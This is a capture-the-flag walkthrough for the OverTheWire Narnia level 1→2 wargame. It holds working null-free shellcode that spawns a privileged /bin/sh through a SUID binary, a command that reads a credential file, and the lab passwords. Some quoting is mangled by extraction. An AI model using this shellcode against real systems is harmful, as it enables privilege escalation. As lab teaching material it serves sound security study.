OverTheWire Narnia Level 1 → 2 tutorial!!
Login
Log in as narnia1 using the password you obtained from Level 0 → 1 (classic run):
ssh narnia1@narnia.labs.overthewire.org -p 2226
# password: efeidiedae
Why? Each Narnia level is a separate UNIX user. To solve 1 → 2, you must be
narnia1
.
Task
Target binary: /narnia/narnia1
(+ source narnia1.c
).
If the environment variable EGG
is missing, the program quits. If it’s present, the program treats the bytes in EGG
as a function and jumps to them. Your job: put shellcode in EGG
so the binary executes it and drops you into a shell running as narnia2.
A little bit of Theory
ret = getenv("EGG"); ret();
⇒ whatever raw bytes are inEGG
get executed.-
The binary is SUID narnia2. Some shells may drop privileges if RUID ≠ EUID.
- Safe pattern: call
geteuid()
thensetreuid(euid, euid)
before spawning/bin/sh
.
- Safe pattern: call
- Environment variables are NUL-terminated. A
\x00
inside your payload will truncate it. Use null-free shellcode. - 32-bit Linux system calls via
int 0x80
are perfect here.
Further reading:
Source Code
#include <stdio.h>
#include <stdlib.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
Why? You can see it grabs
EGG
and calls it as a function. So we just need valid, null-free shellcode inEGG
.
Solution
-
Baseline run (without
EGG
)cd /narnia ./narnia1 # Give me something to execute at the env-variable EGG
Why? Confirms
EGG
is mandatory. -
Export
EGG
with null-free shellcode (preserve SUID, then execve)The payload below:
- gets EUID → copies to both RUID & EUID via
setreuid
(so the shell keeps SUID), - executes
/bin/sh
without null bytes in the middle.
unset EGG export EGG=$(python3 - <<'PY'
- gets EUID → copies to both RUID & EUID via
import sys sys.stdout.buffer.write( b”\x31\xc0\x31\xdb\x31\xc9\x31\xd2” # xor eax,ebx,ecx,edx b”\xb0\x31\xcd\x80” # eax=49 (geteuid); int 0x80 -> eax=euid b”\x93” # xchg eax,ebx (ebx=euid) b”\x89\xd9” # mov ecx,ebx (ecx=euid) b”\xb0\x46\xcd\x80” # eax=70 (setreuid); setreuid(euid,euid) b”\x31\xc0\x50” # push 0 b”\x68\x2f\x2f\x73\x68” # push //sh b”\x68\x2f\x62\x69\x6e” # push /bin b”\x89\xe3\x50\x53\x89\xe1” # ebx=esp; push 0; push ebx; ecx=esp b”\x99\xb0\x0b\xcd\x80” # execve(“/bin/sh”, argv, NULL) ) PY )
*Why?* No `\x00` bytes inside; privilege sync happens before spawning the shell.
3. **Run the program and grab the password**
```bash
./narnia1
Trying to execute EGG!
whoami
# narnia2
cat /etc/narnia_pass/narnia2
Password
From my (classic) run, the next password is:
nairiepecu
(If your environment differs, copy whatever your terminal prints.)
Troubleshooting
- Segmentation fault → Your
EGG
likely contains a\x00
and got truncated. Generate bytes withsys.stdout.buffer.write(b"...")
, notprint("...")
. -
Shell drops privileges (
whoami
showsnarnia1
) → Ensure you used thegeteuid/setreuid
sequence and that the binary is SUID narnia2:ls -l /narnia/narnia1 # should show: -r-sr-x--- cat /proc/self/status | sed -n 's/^Uid:/Uid:/p' # Euid should be narnia2
- Program still prints “Give me something to execute…” → You’re in a new shell without the var. Re-export
EGG
in the same session before running./narnia1
.
Copy-paste quick run (one shot)
ssh narnia1@narnia.labs.overthewire.org -p 2226
# password: efeidiedae
unset EGG
export EGG=$(python3 - <<'PY'
import sys
sys.stdout.buffer.write(
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
b"\xb0\x31\xcd\x80"
b"\x93\x89\xd9"
b"\xb0\x46\xcd\x80"
b"\x31\xc0\x50"
b"\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x50\x53\x89\xe1"
b"\x99\xb0\x0b\xcd\x80")
PY
)
cd /narnia
./narnia1
whoami
cat /etc/narnia_pass/narnia2
Congrats 🎉 You used an environment-variable shellcode to escalate from narnia1 → narnia2 while safely preserving SUID. On to Level 2 → 3!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨